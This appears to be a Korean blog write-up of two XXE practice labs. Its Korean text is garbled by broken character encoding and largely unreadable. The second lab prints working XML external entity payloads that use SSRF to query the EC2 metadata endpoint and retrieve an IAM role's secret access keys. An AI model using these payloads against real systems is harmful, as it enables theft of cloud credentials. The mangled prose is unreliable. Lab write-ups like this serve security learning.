[2025-07-08] XXE
๐ฆฅ ๋ณธ๋ฌธ
XXE(1)
์ด ์ค์ต์๋ XML ์ ๋ ฅ์ ํ์ฑํ๊ณ ์๋ต์์ ์์์น ๋ชปํ ๊ฐ์ ๋ฐํํ๋ โ์ฌ๊ณ ํ์ธ(Check stock)โ ๊ธฐ๋ฅ์ด ์์ต๋๋ค. ์ด ์ค์ต์ ํด๊ฒฐํ๋ ค๋ฉด, XML ์ธ๋ถ ์ํฐํฐ(XML External Entity, XXE)๋ฅผ ์ฝ์ ํ์ฌ /etc/passwd ํ์ผ์ ๋ด์ฉ์ ๊ฐ์ ธ์ค์ธ์.
์ฌ์ดํธ๋ฅผ ์ฒ์ ๋ค์ด๊ฐ๋ฉด ์๋์ ๊ฐ์ ์ด๋ฏธ์ง๊ฐ ๋ํ๋๋ค
view detail์ ํด๋ฆญํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
Check stock์ ํด๋ฆญํ์ฌ ์ธํฐ์
ํธ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ Request๋ฅผ ๋ณด๋ธ๋ค.
XML ๋ฐฉ์์ผ๋ก ๋ณด๋ด๋ ๋ฐ ์ด Request๋ฅผ Repeater๋ก ๋ณด๋ด์ ๋ค์๊ณผ ๊ฐ์ด ๋ณด๋ด๋ฉด ๋น๋ฐ๋ฒํธ๋ฅผ ์ป์ ์ ์๋ค.
XXE(2)
์ด ์ค์ต์๋ XML ์ ๋ ฅ์ ํ์ฑํ๊ณ , ์๋ต์ ์์์น ๋ชปํ ๊ฐ์ ํฌํจํ์ฌ ๋ฐํํ๋ โ์ฌ๊ณ ํ์ธ(Check stock)โ ๊ธฐ๋ฅ์ด ์์ต๋๋ค.
์ค์ต ์๋ฒ๋ ๊ธฐ๋ณธ ์ฃผ์์ธ http://169.254.169.254/์์ ์คํ๋๋ (๋ชจ์๋) EC2 ๋ฉํ๋ฐ์ดํฐ ์๋ํฌ์ธํธ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์ด ์๋ํฌ์ธํธ๋ ํด๋น ์ธ์คํด์ค์ ๋ํ ๋ฐ์ดํฐ๋ฅผ ์กฐํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ์ผ๋ถ ์ ๋ณด๋ ๋ฏผ๊ฐํ ์ ์์ต๋๋ค.
์ด ์ค์ต์ ํด๊ฒฐํ๋ ค๋ฉด, XXE ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ SSRF(Server-Side Request Forgery) ๊ณต๊ฒฉ์ ์ํํ๊ณ , EC2 ๋ฉํ๋ฐ์ดํฐ ์๋ํฌ์ธํธ๋ก๋ถํฐ ์๋ฒ์ IAM ๋น๋ฐ ์ ๊ทผ ํค(secret access key)๋ฅผ ํ๋ํด์ผ ํฉ๋๋ค.
์์ ๋น์ทํ ์ฌ์ดํธ๋ก Check Stock์ ํด๋ฆญํ์ฌ Request๋ฅผ ์ธํฐ์ ํธํ๋ฉด ์๊ณผ ๊ฐ์ Request๊ฐ ๋์จ๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>
์์ ๊ฐ์ด ๋ณด๋ด๋ฉด ํด๋น ๊ณ์ ์ ์ ์ ์๋ค. Res๋ฅผ ๋ณด๋ฉด admin์ธ ๊ฒ์ ์ ์ ์๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>
์์ ๊ฐ์ด ๋ณด๋ด๋ฉด key ๊ฐ๋ค์ ๋ชจ๋ ๋ณผ ์ ์๊ฒ ๋๋ค.
Leave a comment